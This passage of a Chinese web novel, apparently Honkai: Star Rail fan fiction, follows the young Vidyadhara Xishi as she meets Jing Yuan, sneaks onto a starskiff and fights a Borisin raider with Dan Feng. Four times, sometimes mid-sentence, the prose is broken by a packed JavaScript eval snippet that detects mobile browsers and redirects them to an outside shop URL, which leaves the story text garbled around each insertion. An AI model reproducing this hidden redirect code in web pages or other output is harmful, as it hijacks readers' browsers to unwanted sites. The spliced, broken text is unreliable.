长着浅蓝色龙角的女孩半蹲在礁石板上,宛若冬日里惹人怜爱的小雪团子。 而汐识额前碎发微乱,眼眸澄澈,正在礁石上认真地烤鳞海星星。 问就是数星星数饿了。 波月古海倒是很有慈心,怕她难过似的,不仅给她送来漂亮花花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318899|199016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陪着,还让潮汐带来果腹的鳞海星星。 鳞海星星,个小食草,幽绿色,无毒,全身可食。 自唤水流形成层层水镜,太阳的光线穿过镜面聚焦于干草枝串起来的海星上。 景元确信,这是个不知为何蹲在礁石上装持明卵的小持明。 “你是谁家的小持明呀,怎么一个人在这里?云骑今日封锁了这里,鳞渊境最近不太平,你一个人在这里太危险了,不然我送你回家吧!” 礁石堆已被涨潮的海水淹没大片,余下几点石阶。 景元以为她困在上面出不去,特地唤出飞剑,一个箭步跃剑上前,打算送她回家。 送她…… 回家? 听到陌生的声音,汐识目光闪动。 她抬手,擦了擦盯着波月古海时莫名其妙掉的眼泪,随后转身,面无表情地看着挥挥手剑就消失了的白发少年。 少年穿着利落贴身的蓝白云骑服饰,满头蓬松柔软的暖白发由一根精巧金扣编连的红发带高束起大半,剩下的头发垂在脖颈附近。仔细看的话,发尾还带点浅浅的灰色。 距她不过半米,汐识看见他左眼角下有颗泪痣,说话时上下跃动,让少年看起来就像一只看似慵懒闲散却又神采奕奕的大白猫。 汐识思考片刻,意识到对方的好心善意,正要开口说自己是雨别家的,想到龙师对丹枫和她的两副态度改了口: “谢谢你,但我是没有家的小持明。” 景元愣了下,“啊,不好意思。” 忽然闻到微糊的鲜甜焦香,少年摸着脑袋问她:“那个,好像有什么东西烤糊了,你闻到了吗?” 汐识摇摇头。 忽然心里一顿,她垂了垂眉眼,偏过脸去,再次蹲下来不说话。 景元确信,这是一个喜欢装持明卵的小持明。 “要不要来一串鳞海星星!”没有理会对方的诧异,汐识语气轻盈,手里拿着看起来烤熟了的鳞海星星,在对方停顿的目光中伸手递给他,“给你。这个闻着虽然没有味道,但根据我昨天的经验,吃起来是很好吃的。” 拿云吟术折射光线烤海鲜,景元完全理解了焦香味的来源。 原来云吟术还可以这样用的吗? 好一个实用主义。 但,她闻不到味道吗? 景元疑惑地眨眨眼,怀疑自己的嗅觉出现了问题。 他伸手接过现烤的海鲜,指尖触碰的瞬间传来微冷的凉意。持明族自深海水压磨砺而生,没想到,这体温也是温凉的。 “你是不是才蜕生,跑到这里来玩,所以走丢了?”说罢,景元咬下一颗鳞海星星。 一口嘎嘣脆,跟大街上卖的鸣藕糕吃起来差不多,只多了一分海洋生物特有的鲜甜,确实还挺好吃的。 汐识看向他,缓慢地点了点头。 他的眼神时不时落在她身上,汐识合理猜测,对方应该也是跟她一样饿的不轻。 吃完的瞬间,用来穿鳞海星星的水草杆干枯消散,仿佛不曾存在过。 金色的眼中带着难以置信,想到持明秘法向来精奥,景元才回过神来,清了清嗓子才道:“我家里人是地衡司的,每隔十天半个月就会有护珠人来司里借谛听帮忙找人。若是你没有住的地方,我可以先带你去地衡司,让地衡司找人帮你安排住处。” 周围的潮水低流回古海,许是察觉到什么,汐识点点头,轻轻应了一声,然后补充道:“但就不麻烦你了,我自己认路的。” 语罢,她相当熟练的御水离开。 景元留在原地,目送她远去,垂睫思索。 没多久,又出现了一个带龙角的人。 是个面若冰湖的墨发男子。 追汐识气息追到鳞渊境,丹枫停住疾步的青影,看见出现的人对不上号也犯了难,开口朝景元问了句:“这位小朋友,你在这里有没有看到过什么别的小朋友?” 景元点点头,答道:“我刚刚碰上一个哭得很伤心的可爱女孩子。” 丹枫了然,果断转身离去。 听起来应该不是他们持明族的小祖宗。 4. 第4章 远瞰下,浮槎川流不息,犹如飞鸟往返在空中。 走出鳞渊境,汐识背对古海,慢悠悠乘水回到丹鼎司所在洞天。 她竖起耳朵,听到一艘民用星槎在人群离去后静置,播报即将启程的航线路经地,其终点在长乐天。 在仙舟,有飞行能力的载具都称为星槎。民间最常见的是尖角流线型的小型载人飞舟,与飞行士作战的斗舰不同,民用星槎只往返于仙舟星区境内。 汐识在阁楼高檐坐着晒太阳,斟酌一番后,起身借力自屋檐起跳,想都没想就决定登上星槎。 长乐天,罗浮仙舟的聚居洞天之一,以繁华昌盛的洞天风貌出名。夜间万灯明霄,商贾喧市,金人巷美食云集,人们安居常乐,就连历代云骑将军也将处理公务之地设置于此。 丹枫没空带她去,她可以自己去。 汐识望向星槎门前贴着的提示,不到一米二的小孩子可以免费乘坐,这才放心地走上前去。 “识别错误,未在仙舟通行系统中检测到注册信息。如有疑问,请及时联系地衡司公廨处理。” 成为持明少主的第三天,空无一人的星槎拒绝了对她的承载。 “……” 汐识决定拒绝对方的拒绝,再次走上前,这一回选择跟星槎打招呼。 “你好,我是丹枫他祖宗。” “识别错误,未在仙舟通行系统中检测到注册信息。如有疑问,请及时联系地衡司公廨处理。” 星槎冰冷无情,识别程序不因口头上的人际关系而留情。 持明内务由持明处置,龙师忙着和归来的龙尊大人商讨族内事宜,哪里还记得有个嗷嗷待哺的小少主,更别说带她去天舶司注册通行玉碟了。 名字要自己定,吃的要自己找,星槎还得自己种出一个属于自己的不成? 汐识耷拉着尖耳朵,坐在附近一户人家紧闭红门的石阶上。 她郁闷地碰了碰惹人注目的龙角,垂眸的一瞬,轻轻松松就把它隐藏了起来。 仙舟上不只有她一个小朋友,可是别的小朋友都有监护人陪着在洞天内闲逛…… 只有她这位小少主格格不入。 “识别错误,未在仙舟通行系统中检测到注册信息。如有疑问,请及时联系地衡司公廨处理。”冰冷无情的机械女音三度响起。 汐识抬头望去。 不远处,星槎前有个黑色短发的尖耳朵女孩。 同为持明族人,空无一人的星槎也拒绝了对她的承载。 看着幽绿色的电子屏障门,她满脸不服气,退后十米后挽起袖子跃跃欲跑,俨然是牟足了劲要硬闯。 汐识捧着脸看过去,依旧百无聊赖地坐在大门前,整个人懒洋洋的,嘴上却好心提醒道:“为了不被关起来,你还是省省力气吧。” 无人驾驶的星槎一亮,很快把擅闯者弹出去,不忘冷漠出声:“友情提示:擅闯星槎,幽囚押送。不论是否成年,凡是违反星槎乘坐守则的人员,按条例需关入幽囚狱中闭门思过三个月。” “……不朽龙祖在上,能不能把我送去长乐天逛逛?” 早已陨落的神明不会回应任何人。 女孩从地上站起来,擦了擦额上的细汗,又拍拍衣服沾染的尘灰,望着不可战胜的仙舟识别科技,突然感觉浑身失去了力气。 她朝星槎停泊台的对面走去,决定跟那个好言相劝的小持明一样,坐在大门前思考人生。 良久,女孩看向仿佛与世隔绝的小持明,对方正在无聊的看云卷云舒。 “仙舟的洞天千年不变,行星是人造的星体,星槎是人种出来的生物船,也就风雨台控制下时不时下个雪还有点意思。这大太阳的,有那么好看吗?”说完,她别过眼,也抬头看高空的太阳。 汐识余光扫去,瞧见比她高的黑发族人带着不乐的面容,语气淡淡地回道:“还行吧。哦,总比大人们好看吧。” “……说的也是。” 许是好不容易碰见个能说话的人,女孩目光一喜,讲故事般抱怨起身为持明族的不幸: “自我出生起,就在丹鼎司里睡个不醒。云华大人说我那叫长梦症,是蜕生期能量转化效率低下所致,指不定什么时候睡着睡着就蜕成了持明卵形态了。” “咱们持明族的力量虽强横,但是生长速度相对缓慢。哦对了,龙尊除外。比起仙舟天人族,持明族的体质可差远了,比不了他们头断了都能接回来。” 好像是在跟她说话。 汐识歪了下头,疑惑问她:“长梦症?” 持明女孩抬头望天,叹气,还是叹气。 过了会儿,她开口道:“是啊,这病倒是不疼不痒,就是稀奇古怪的。长不高也就罢了,十多年过去了,竟然还会往回长!我受明宴长老恩惠,被司鼎大人收养治病,可云华大人她生怕我出事,所以轻易不让我出丹鼎司。” “在司里倒也没什么不好的,只是隔几天就要试药,一日三餐还要喝各类补气类汤剂。虽然确实维持住了这一米三四的身高,但那药苦的很嘞,还不如去古海蜕生。呜呜呜我好可怜啊,好想吃酸酸甜甜的琼实鸟串!” “好不容易等到丹朱那家伙去采药,我就大早上偷溜出来了。唉,如果我也会云吟术就好了,就可以隐身跟着别的人混上星槎,然后去长乐天买……” 话还没说完,她只感到一阵凉风吹过,身边的小持明没了踪影。 “嘶……喂喂,人,人还在吗?” 女孩倒吸一口冷气,同时一股寒意的心颤在她身上密密麻麻展开。 “用云吟术隐藏行迹,是这样吗?” 汐识问完,见女孩愣怔地点点头,稍微减轻了控水的力度,然后反反复复地自由显露身影,给身旁的小持明看得目瞪口呆。 利用风中水汽配合光线变化,得以同形共色,这样藏形匿影的技法并不难掌握。 见此情形,女孩双眸明亮异常,双手合十,请求汐识带着她一起出去玩。 “我倒是无所谓,可是,万一你在长乐天睡过去了怎么办?”汐识微微摇头。 “虽然很想一个人出去玩,但你说的也不无道理。” 女孩有些失落,又很快打起精神来。 她问汐识有没有玉兆,见汐识摇摇头,从身上翻出一个钱袋并把它塞给眼前的小持明,目光带着恳求的意味,问她:“那,那你能不能帮我带份琼实鸟串?对了,丹鼎司的大人指不定发现我不在出来找了,我叫蝶宇,你可以去丹鼎司找我!” 汐识点点头,收下名为巡镝的实体货币。 星际中群星接轨,互通有无,往来皆有星际和平公司的信用点作为统一货币。 仙舟自寻求长生从古国起航七千载,在文明碰撞中保守古国文化,内部的流通货币以镝为单位。 作为银河数一数二的强大势力,早在五千年前,也就是还没与星际和平公司贸易前,仙舟巡镝已然数字化。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318900|199016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过汐识没有玉兆,自然没办法像一般人那样,挥一挥手上的玉镯或者玉坠就能完成交易支付。 记得明宴说过,若是无聊出门遇到想买的东西,账记在临渊府。 但汐识不想欠人情,尤其是临渊府那群风往那边吹就往哪边倒的龙师的人情。 她看了看形如箭头又像是叶子的巡镝,把钱袋收好,利用云吟术隐藏自己,跟随几位乘客混上星槎。 * 作为罗浮仙舟接待外客的门面,位于星槎海中枢的司辰宫巍峨矗立。 司辰宫,隶属掌管仙舟内部空域与星际航行的天舶司,是罗浮六御之一的天舶司的总部。 殿宇内,有一方显示罗浮各处环境的全息沙盘,员工各司要职。 “啊啊啊,伏苍大人救命啊,我好像看到鬼了!!!” 一位实习导航者盯着浅蓝色屏幕,收到地衡司的星槎乘坐文明度问卷,负责抽样调取监控画面的他原本在犯困,恍惚间看到什么怪事,发出震耳欲聋的尖叫爆鸣声。 “鬼,你说的是夺舍人心智的岁阳吧?” “岁阳是吧,这个好办,联系十王司的判官大人吧。诺,联系方式就在司内的群公告上。那团爱蛊惑人心的小火苗,咱们发现了,只管交给专业的十王司处理就好。” “每个见到岁阳的新人都要来这么一回,见怪不怪喽。” 其余人安之若素,有的还帮忙出主意。 “安静。司辰宫内喧哗,成何体统?!” 难掩貌美的狐人女子挑眉,从最上方的办公台上走下来。 她摇了摇手中的精致鎏金木扇,一边走一边说话,“哎呀呀,年轻人啊,还是要沉得住气,一惊一乍的可不像话。” 盯着星槎的监控回放画面,凑上来看热闹的狐人员工晃了晃身形。 她生怕被上司责怪,弱弱地说道:“司舵大人,不,不,不,不是岁阳!好,好像是个持明!” “嗯?”伏苍不解,示意她调出监控。 围观的人逐渐变多。 他们所见的是—— 民用星槎内的座位后排,一个尖耳朵小持明跟发芽的小苗一样冒出头来。云白发的小持明淡定起身,面无表情地坐在中排靠窗的位置上,成功混入乘客之中。 “工作时间聚众偷闲,成何体统?!” 伏苍一声令下,众人回到各自的工位上。 她若有所思,定定地看住那张容貌悦人的稚嫩面孔,嘴上不忘安抚着众人: “不就是个小持明,长这么可爱有什么好怕的?” “哎呀,年轻人啊就是得多涨涨见识,出门看看幻戏,或者去永狩原玩玩弓箭。你们是没见过他们持明族的五个龙尊,那在战场上,要么呼风唤雨要么山崩地裂的,一个个跟龙祖现世了似的。当然了,论罗浮仙舟上最英明神武的那个,还得是我们腾骁将军。” 话说完,伏苍摆摆手,缓步走出门。 案牍工作劳形,自飞行士退役而幕居后方,为了定时摄入新鲜空气,伏苍时常会在司辰宫的后花园散步。 “一大早就听说龙师在找人,莫不是这个持明小娃娃?” 但,总不至于让人在眼皮子底下的丹鼎司跑了吧? “也罢,毕竟事关持明族人,丹枫他一定不会坐视不理。” 抚摸银河通用手机形式的精巧玉兆,抬眼间,她截取监控画面,素手轻点消息框,把它发给了丹枫。 5. 第5章 找了半天找不到人,渐渐的,连丹枫都不知要往何处。 本着来都来了的仙舟至理,他决定去实验室探探情况。 丹枫召出重渊珠,水流并起,唤起鳞渊潮动。 古海出现一条通道,似乎被某种秘法扭曲,两侧倒悬的海水随他向前的身影步步收束。 自族人在一次次战争中再无法生还,不朽龙裔人口凋零,地位式微。联盟高层尊重持明族内自治,但他们不知道的是,从雨别开始,历代龙尊都在暗中进行一项生命实验。 古海实验室,历代龙尊专门研究化龙秘法的地方。 在此之前,丹枫倒是没怎么去过。 第二次丰饶大战余波未平,而今仙舟战事连起,丹枫自掌权以来,日日面对龙师数不清的试探与算计,后又加入了云骑军于前线作战,没有时间也没有精力研究这些东西。 联盟危则持明亡,身为一族尊长,龙尊不能囿于一时的安稳。 若丰饶民攻下仙舟,什么龙裔繁衍大业,想都不用想。为了得到更强的力量,那群祸乱诸星的丰饶孽物不把他们当活药材吃了才怪。 避开建木玄根,丹枫来到一处稍显荒凉的地方。 实验室隐藏在海底废墟的隐秘角落。 往昔辉煌的宫殿颓圮,不见天日,水底那扇门布满金色的符文,是历代龙尊特地设下的不朽阵法。 抬手撤去水帘,丹枫跃步入门。 大量的实验舱整齐划一分列,进度数据以淡蓝色的投影屏显示在舱门边。 他对这里并不陌生,越过放着或珊瑚虫或水草切片等生物药瓶的桌台,来到收拾得整整齐齐的实验存档区。 指尖悬停在雨别的档案记录区,他嘴角微动,显露出心中的迟疑,最终还是按下了右手拇指的指腹,找到那本青蓝色的古制卷轴。 丹枫低头,看向卷轴里实时刷新的数据。 思索片刻,他输入最高权限的不朽密钥,找到唯一一份跟持明卵相关的实验记录。 实验执行者为雨别,持明卵编号为:汐、别,对应的实验室为绝密区,连他也不知道怎么进入。 从结果上来说,他并不知晓毫无内容记录的试验究竟是什么。 “生而知之,与生俱来的唤水力,蜕生阶段不喜欢深海却喜欢晒太阳……雨别,你到底对她做了什么?” 丹枫望向破开一个洞口的大珊瑚水房,直觉告诉他,是那个小持明撞出来的缺口。 昨天晚上,丹枫在她的梦中看到了一片花海,还有他自己。 历代龙尊容颜不改,准确的说,那个所谓的自己其实是十世前的雨别。 丹枫想要掐断她的呼吸声,令窒息的水色泡泡在房间蔓延,然而龙心强烈一颤,让他意识到,这个孤苦无依的持明崽崽需要他。 以她毫无防备的行为来看,那家伙只认属于龙尊世代不移的容颜。 她昏迷过去,但凡有一点其他动静,他就会立刻送她去古海蜕生。 第一次看到她发间那抹红色,丹枫就不由得额角一跳,龙心的哀伤从鳞血中咆哮,而这孩子基于本能的信任选择了他。 不,选择的不是他丹枫。 她依赖的是雨别—— 持明族生命繁衍实验的发起者。 诚如龙师所言,雨别不可能将自己分成两个人,况且重渊珠和龙心都传承在丹枫一人身上…… 她一个持明小娃娃,如何能拥有令人忌惮的出众天资? 丹枫面容依旧冰冷,盯着空白的卷轴,得出一个最有可能的结论:她不过是承载雨别力量的一副躯壳,因为雨别的不朽力量而机缘巧合下生出自我意识,故才自诩雨别。 雨别,这个名字实在让人提不起兴趣。 自诞生起,他的成长阶段就充斥着这个犹如鬼魅缠身的名字。 龙尊的梦太长,连零碎梦境都不曾有过的一世,是雨别的梦…… 那么,雨别又是以何种方式,才会仅用自己一世的力量,就造出了一个承载他力量与记忆的新族人? “即便腾骁将军阻拦,但总有一天,为了持明族的延续,为了化龙秘法的完整性,我会亲手取回他遗忘在你梦里的记忆。”丹枫表情严肃,眉心皱起,但眼底的疲惫出卖了他强撑的决意。 一具身负非凡力量的躯壳,又自认为雨别,还是雨别力量的升级版…… 丹枫想到失踪小祖宗那股桀骜不驯的张狂劲,摇了摇头,抬起右手用指腹揉了揉太阳穴。 不久,他将卷轴放回原木架。 往里推的时候,从高架里面掉出个巴掌大小的漂流瓶。 瓶上面的图案很眼熟,和小祖宗佩戴的玉坠图案完全一致。 途径显龙大雩殿时,丹枫不可避免见到了雨别的雕像。与往常不同,幽蓝色的无尽汐在石像旁自由盛放,令见者心中安宁。 作为潜渊阁的常驻人员,丹枫很快认出,瓶内的是无尽汐的花种。 双眸余光下,盛着远古花种的漂流瓶正顺着斜水坡往下滑,很快滚到对外潺潺流淌的一方水流中。 一念之间,丹枫觉得这东西并不重要。 他不是雨别,没有这些奇怪的收集爱好。 * 大约半个小时后,丹枫才接到伏苍发来的消息。 但他来到的却是长乐天的将军府。 将军府里,腾骁将军不在。府外云骑时刻戒备,府内僚臣大多公务繁忙,见丹枫来了也只是颔首相礼,无暇招待他。 只有名为兴肃的侍卫长还算清闲,正和台阶坐着的持明族小少主大眼瞪小眼。 四目相对,谁也不服谁。 汐识刚来到长乐天,没走两步便被云骑军当做可疑人士团团围住。 “卑职兴肃,负责腾骁将军的安全,手下诸位云骑则负责将军府、乃至整个长乐天的安危。你虽为持明族人,但更是我仙舟的子民,在星槎上鬼鬼祟祟实属可疑,念你年幼无知,就不劳烦十王司出马,且随我回将军府问罪吧。” 她来不及分辩一二,就让兴肃拎到了将军府。 “这是,侍卫长兴肃,他怎么亲自带人来了?龙祖在上,这小祖宗是犯什么事儿了?”龙师溯光和风浣在大街上找人,突然看见被云骑军带走的汐识,一时间差点没气昏过去。 溯光长吁口气,慌忙拉着风浣前去将军府。 在看完天舶司的星槎监控后,大体得知了怎么个事,溯光瞪圆了眼,风浣扶额叹气。 利用高阶云吟术实现无证通行,少主大人真是太能整事了。 出乎侍卫长意料的,溯光开始了另一番和容悦色的说辞:“好啊好啊,不愧是少主大人,云吟术使得当真是无师自通。咳,也有劳兴肃大人辛苦一趟。只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“回看潮起处,千里暮云平。听明宴说,你是在波月古海涨潮时冒出来的……千起,你看这个名字怎么样?” 汐识摇摇头,瓮声道:“不要,你取的名字你自己用。” 明面上拒绝了丹枫,心里的气倒是消了不少。 看起来冷冰冰的,总算有点族胞情谊,没忘了给她找个好名字的大事。 丹枫轻叹一声,“名字倒是不打紧,你怎么一个人跑出来了?” 汐识别过头去,用同样淡淡的语气回给他:“因为等着你也会饿死在临渊府的。” 丹枫:“……” 是一个无法反驳的回答。 倏忽之间,地面上传来细微的碎裂声。 想到腾骁将军的嘱咐,侍卫长忍住不能笑的冲动,站旁边看她对族人胡说八道,手上一使劲,差点让云骑阵刀把将军府的地面砸出一个坑。 兴肃清了清嗓子,接住两人齐刷刷冷眼望过来的视线。 他尽力保持面容正经,然后开口道:“哈哈,持明族的小少主还真是有点意思,龙尊和龙师都让你呛得说不出话来。” 汐识瞥了眼兴肃,这个力大无穷的、把她当成小猫拎了一路的侍卫长,没好气地说: “事实如此,他们无可抵赖罢了。哪有你们腾骁将军有意思,将军府里半个将军也看不到。” 腾骁将军让人把她抓过来,自己却没了踪影。 真是个不礼貌的将军。 语罢,汐识直直盯着没有生命也就不会讨人厌的棋盘,不再说话。 兴肃无言以对。 她只是把事实陈述了一遍,可就是听着让人浑身不自在。 6. 第6章 面对持明少主的阴阳怪气,兴肃只觉尴尬在沉默中爬行。 热衷破敌制胜的腾骁将军不在,神机妙算的策士长也不在,饶是他有一身好武力,也不知该说些什么,甚至开始怀疑起自己的判断。 兴肃挠挠后脑勺,看了一眼汐识又抬头,恳切询问丹枫:“丹枫大人,你听听,她这话是不是在暗指我家将军不思公务?” 沉默三秒后,丹枫一脸云淡风轻,对上他的目光并顺着他的话反问:“她才三天大,人都不认识几个,有可能故意说出对将军大不敬的话吗?” 身为云骑骁卫,骁勇善战,又由腾骁将军统一指挥调遣,自当忠心无二。 可他持明族可丢不起这个脸,能说圆的话就不要说到死胡同里去。 在人家的地盘还是要装装样子的,但她是持明少主,这个时候就应该故作高深不说话。 汐识当了好一会儿小哑巴后,抬起头,一脸无辜地看他们。 被安静下来的可爱幼崽仰望着,兴肃忽感良心不安。 他记得腾骁的命令,也确信过她只是少个星槎通行证却想出去玩的事实,但将军说‘把人抓回来,等丹枫来了再放人’,侍卫长也只能借口照做。 于是,在丹枫将《仙舟星槎乘坐规范》给她念了三遍后,兴肃见汐识对答如流,颇为满意地点点头,果断放人离开。 这下轮到汐识开心了。 在心里补了一句:我能。 走出将军府,汐识一个人站在花木扶疏的若木亭旁,抬头看远处枯断的建木和天上的金叶。 她伸出手,叶子在触碰到生命温度的前一刻就已消散。 说是让丹枫找吃的,丹枫就去找了。 旁边站着驻守洞天的云骑军,她在等丹枫从小吃摊上带琼实鸟串回来。 溯光和风浣回来时见只有她一个人,本想带她回去或者去别处逛逛,听到丹枫要陪着她便作罢。 尤其是风浣,年纪轻轻的,一脸恨铁不成钢的老成样子,问她为什么选丹枫当业师,又问她还有没有别的打算。 汐识再次坦然道:“不是说过了嘛,因为他长得很让人放心。” 丹枫,他长得很像梦中那个人。 能出现在她梦里的人,还有好看的波月古海和花花陪着,应该不是坏人。 溯光没想到她是个颜控,风浣同样的心梗。 论长相,龙尊那清冷出尘的模样少有族人能敌。 “少主天资卓绝,可龙尊大人俗事繁忙,恐教导不周。我等龙师虽天赋难及两位大人,但亦是各有所长,不如再选个好日子,挑几位龙师当业师可好?”风浣说着,露出一个循循善诱的温和笑容。 溯光应声附和:“是啊是啊,少主大人身份尊贵无双,只有一位业师实在是不像话,说出去,旁人指不定还以为我临渊府无才可用!” 汐识敷衍地点点头:“哦,那我考虑一下。” 不远处,丹枫站在有一方小瀑布的莲花池前,透过一扇圆月形制的长墙灯窗朝她招手,示意她过去。 两位龙师本想再跟她聊几句,却生怕跟丹枫正面碰上后被问责,借口先走为上。 汐识乖乖过去,说了声谢谢。丹枫将包好的琼实鸟串和盛着巡镝的钱袋悉数递到她手上,让汐识跟着他,说请她去至味盛苑吃点好的。 早上的凉意在晴好的日光下逐渐消散,斜阳半市,干净的街道上只留下属于人的影子。 丹枫看见她轻盈灵动的步伐,心有思量。 以为她来长乐天是要玩闹,没想到是帮那个长梦症的小病人带点吃的。 其实,她不说话的时候,那幅乖巧可爱的模样还是挺讨人喜欢的。 至味盛苑,位于星槎海中枢的宣夜大道,以三千年老字号闻名仙舟。正好,现在汐识有了星槎通行证,可以跟他乘槎前往。 前方是长乐天的中央广场,花瓣形若镜面光滑的琉璃蓝地板很是惹眼,半透明的地板簇成一个巨大的花型,是长乐天洞天的标志性建筑。 周圈商铺林立,人群井然,阁楼高台入倒影,古色凝光,最是人间长乐处。 百米处有个不需要排队的星槎停泊点。 “仙舟洞天繁多,星槎是最方便的交通工具。在仙舟生活,需要去地衡司登记注册个人信息,六御之外的十王司统管长生种生平,由他们审核无误后,仙舟会为你开放各项生活权限。每个洞天间的出入文牍,太卜司负责管理和调取。” “溯光给你办理的是仅有人脸识别的临时通行证,算是联盟对幼子和新蜕生持明族人的特殊照顾政策。不过一年内,你只能在长辈陪同下出行。” “过些时日等你想好了名字,正式入持明族册后,我再带你去地衡司登记仙舟户籍。” 在她一一点头应下后,丹枫开口问:“你,你和临渊府的龙师们关系如何?” 汐识想了想,如实回答:“那得分和谁。” 丹枫放慢脚步,低下头,边徐徐走边半阖着眼看了她一会儿,淡声道:“你——” 霎时间,高空中传来一声刺耳峥鸣,打断了行人间的对话。 此刻风起云涌,伴随刀剑交锋的阵阵剑芒愈来愈烈,惊得空中送外卖的机巧鸟拼命扑棱翅膀抓紧飞走。 天上有个身形矫健、银盔铁甲的云骑军,他利用往来星槎借力逐空,和十王司黑白绘面的幽府武弁一同追杀逃亡的凶恶敌寇。 驻守的云骑军吹哨散巡,第一时间疏散人群。 眼见兵刃相向却不敌对手,两人陆续败下阵来,云骑阵刀和幽府铡刀也跟着倒在了地上。 犯人是一位步离狼卒,残暴嗜血,眼神猩红,得胜后獠牙尽露,下一刻,他恶狠狠地冲向星槎里的仙舟民庶。 丹枫眯了眯眼,汐识能察觉到他的不悦。 不知道他要问什么,但见他手执长枪,御水直上天穹,疾若流星,闪闪而进。 几秒后,丹枫往那步离敌寇的方向用力一刺,宛若守护神般守住了星槎里的数条生命。 突然被雄厚的强大力量挑开,一个乌漆嘛黑带着惨叫的狼敌高速坠空,四肢抽搐,重重砸在广场边的石地上。他单膝支撑身躯在地,擦了擦嘴角的血渍,还不忘抬头呲牙咧嘴地看向悬空的持明龙尊。 下个瞬间,狼寇像是感知到什么往街巷环顾半圈,紧接着,略显狼狈的步离人扭头起身,步伐直冲着广场中央孤零零且看起来很好拿捏的尖耳朵小持明。 丹枫紧皱起眉头,化出不朽的龙相,没有迟疑地迅速往下跃去。 但还是没来得及。 弹指间,水波摇漾,万籁共静,不知自何处奔来千片碎刃,直冲广场而去。 汐识本要御水闪躲,却久违地感受到了一种熟悉的压迫感和亲切感,与千片碎刃乍现的,还有下意识唤出一方无尽轮转的清澈水流。 水影变化无穷,在她小小的身影附近萦绕,先是团团围住她,又笼住锋利千刃,最后朝着要杀她的步离人的方向急速禁锢。 顷刻间,胜负已定。 汐识抬指,收束水刃的方向,将敌人拧在一个中空的水立方中,她则高居水牢上位,毫无表情地俯视困在其中的步离人。 见狂化呵杀不成,狼崽子依然虎视眈眈地看着她,看眼神恨不得生吞了她。 为了不闹出大动静,丹枫边走边隐藏龙相,来到汐识跟前时顺道给云骑军递了个眼色。 见状,云骑上前缉拿凶犯。 汐识收回召出的水流,望着不告而飞的利刃,开始对着天空发呆。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318902|199016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>丹枫望着汐识沉思。 准确的说,是没长龙角的丹枫望着没长龙角的汐识沉思。 蜕生第三天,不用机关不用重渊珠不用不朽龙力,轻轻松松便可御水化形……单论对水的掌控天赋,比他记忆中的每一世龙尊都要强。 更引人注意的是那与生俱来的召唤水流能力,简直是闻所未闻。 御水和化形是他与生俱来的本领,就连龙尊,也免不了要通过龙相方能祈唤龙灵以呼风唤雨、击云掣雷。 他想着,右侧袖袍一沉。 丹枫低头,汐识又转悠到左侧,拉了拉他衣袖,试图唤醒神游方外的龙尊第一继承人。 丹枫回过神:“嗯?” “吃饭,吃饭。”汐识不再理他,拽着他往星槎停泊平台走。 丹枫:“……嗯。” 于是一大一小两个龙尊乘上星槎,一如繁花落尽不留情,潇洒离去。 * 长乐天高处,群贤集茶舍里还有两双眼睛专门为他们而来。 阁楼雅间的屏风背后,一袭玄红交织的戎装身影缓步而出,乍一看就是云骑中人。 初春的风肃肃微凉,他站在廊间木台上,凭轩而立,悄然收起指尖闪着金色的巡猎雷光。 魁伟男子手执茶盏,轻抿了一口,视线从离开的丹枫和汐识身上一转,转到混入人群中的龙师。 巷口处,并肩看热闹的是找人找过来的龙师,人倒是不少:涛然、雪浦和他的小弟子、韶英,明宴,还有跟他们打个照面的风浣和溯光。 最后,他将目光放在东侧静坐桌前品茗的青衣男子上,神色悠悠道:“易风太卜怎么看?” 仙舟六御,掌管不同领域的大小事宜,分别是云骑军、太卜司、天舶司、丹鼎司、工造司、地衡司。 六御按职责划分管理,地位平等,仙舟上的大事由六御合议商讨,总领于云骑将军。 云骑军是仙舟联盟的武装力量,他们捍卫仙舟安全,置生死于外,担负征伐孽物的重任,自然位高权重。 作为六御之一,太卜司负责占卜过往未来、信息处理和保存、仙舟航路推演、兵法策略与军方运筹等工作。其掌权人称为:太卜。 “见多了将军破阵杀敌的英武,差点要忘了将军的慧眼过人。这从波月古海里冒出的小持明,确实不一般。”目光凌厉地扫视离去的龙师六人,易风神色莫测。 话说到一半,他捧着手中的朝露小芽,抬头看向腾骁,“倒是不曾想,才三天,就有人沉不住气了。” 腾骁,节制仙舟罗浮的帝弓天将,以兵法运筹与压制性的武力显名。 闻言,腾骁仍喜怒不形于色,潇洒抬手,将白烟袅袅的茶水一饮而尽。 他轻笑回道:“哈哈,还不是亏得太卜大人好一招敲山震虎,腾骁先在此谢过。” 